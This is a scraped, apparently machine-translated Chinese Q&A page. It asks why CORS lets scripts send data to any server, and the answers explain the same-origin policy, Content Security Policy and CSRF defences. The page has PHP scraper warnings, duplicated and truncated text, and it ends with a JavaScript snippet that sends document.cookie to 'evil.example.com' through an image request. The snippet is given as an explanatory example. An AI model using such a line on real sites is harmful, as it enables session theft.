Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/javascript/442.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Javascript 为什么CORS允许向任何服务器发送数据?_Javascript_Cross Domain_Cors_Same Origin Policy - Fatal编程技术网

Javascript 为什么CORS允许向任何服务器发送数据?

Javascript 为什么CORS允许向任何服务器发送数据?,javascript,cross-domain,cors,same-origin-policy,Javascript,Cross Domain,Cors,Same Origin Policy,我花了一些时间来理解它是如何工作的,我无法相信它怎么会设计得如此不安全 当位于foo.com上的网站希望通过ajax请求存储在bar.com上的资源时,浏览器会询问bar.com是否允许请求。 只有当bar.com明确允许来自foo.com的异步请求时(通过访问控制允许源站响应头),资源才会传递到客户端 如果应该读取数据,这不是一个安全问题。但是,如果数据被发送到请求的服务器,那么它就是 在过去,如果黑客成功地在网站中插入JavaScript代码来窃取cookie数据或其他信息,那么 阻止他将信

我花了一些时间来理解它是如何工作的,我无法相信它怎么会设计得如此不安全

当位于
foo.com
上的网站希望通过ajax请求存储在
bar.com
上的资源时,浏览器会询问
bar.com
是否允许请求。 只有当
bar.com
明确允许来自
foo.com
的异步请求时(通过
访问控制允许源站
响应头),资源才会传递到客户端

如果应该读取数据,这不是一个安全问题。但是,如果数据被发送到请求的服务器,那么它就是

在过去,如果黑客成功地在网站中插入JavaScript代码来窃取cookie数据或其他信息,那么 阻止他将信息直接发送到自己的服务器

但多亏了CORS,黑客只需启用任何来源,就可以将被盗信息直接发送到自己的服务器

我知道,CORS仍在开发中,但几乎所有主流浏览器都支持它。那么,为什么CORS设计成这样?如果原始服务器被请求发送ajax请求的权限,这不是会更安全吗

在我看来,这是安全性的下降。还是不是? 我发现的所有与CORS相关的“已知问题”都与请求服务器上的弱配置有关。

CORS不是为这个安全问题而设计的

对于您提到的这个问题,您需要防止站点执行任意javascript。更具体地说,您希望防止:

  • 从非白名单来源加载的脚本
  • 直接在页面中的脚本(作为属性或在
    元素中)
为此,我们使用
内容安全策略
头,该头可以设置为
“script src'self'”
(这意味着只能执行从同一来源的外部文件加载的脚本)

任何生成内容不平凡的网站都应该设置此标题,但不幸的是,这在旧框架中可能很难处理,因为这增加了非常强的限制

请参见

CORS不是针对此安全问题设计的

对于您提到的这个问题,您需要防止站点执行任意javascript。更具体地说,您希望防止:

  • 从非白名单来源加载的脚本
  • 直接在页面中的脚本(作为属性或在
    元素中)
为此,我们使用
内容安全策略
头,该头可以设置为
“script src'self'”
(这意味着只能执行从同一来源的外部文件加载的脚本)

任何生成内容不平凡的网站都应该设置此标题,但不幸的是,这在旧框架中可能很难处理,因为这增加了非常强的限制


请参见

同源策略的设计纯粹是为了防止一个源从另一个源读取资源。您所描述的副作用——阻止一个源站向另一个源站发送数据——从来不是同一源站策略的目的

事实上,从网络诞生之初,向另一个来源发送数据就从未被禁止过。您的浏览器始终发送跨原点请求:任何时候遇到跨原点

当cookie数据添加到页面的DOM中时,它会将cookie数据发送到
evil.example.com
。同源政策从未阻止过这种行为


如果您对允许页面向其发送数据的源代码白名单感兴趣,您需要一个明确设计为XSS缓解机制的源代码白名单。

同一源代码策略的设计纯粹是为了防止一个源代码从另一个源代码读取资源。您所描述的副作用——阻止一个源站向另一个源站发送数据——从来不是同一源站策略的目的

事实上,从网络诞生之初,向另一个来源发送数据就从未被禁止过。您的浏览器始终发送跨原点请求:任何时候遇到跨原点

当cookie数据添加到页面的DOM中时,它会将cookie数据发送到
evil.example.com
。同源政策从未阻止过这种行为


如果您对允许您的页面向其发送数据的白名单来源感兴趣,您需要一个明确设计为XSS缓解机制的白名单。

我认为这不是解决此类问题的合适资源,请尝试我认为这不是解决此类问题的合适资源,请注意:还有其他可能的攻击,此答案仅涵盖问题中提到的攻击。但您还应至少设置
X-Frame-Options
标题,并防止CSRF(通常使用会话令牌)。注意:还有其他可能的攻击,此答案仅涵盖问题中提到的攻击。但是,您至少还应该设置
X-Frame-Options
头并防止CSRF(通常使用会话令牌)。
var img = document.createElement("img");
img.src = "http://evil.example.com/steal?cookie=" + document.cookie;
<img src="http://evil.example.com/steal?cookie=SESSION=dfgh6r...">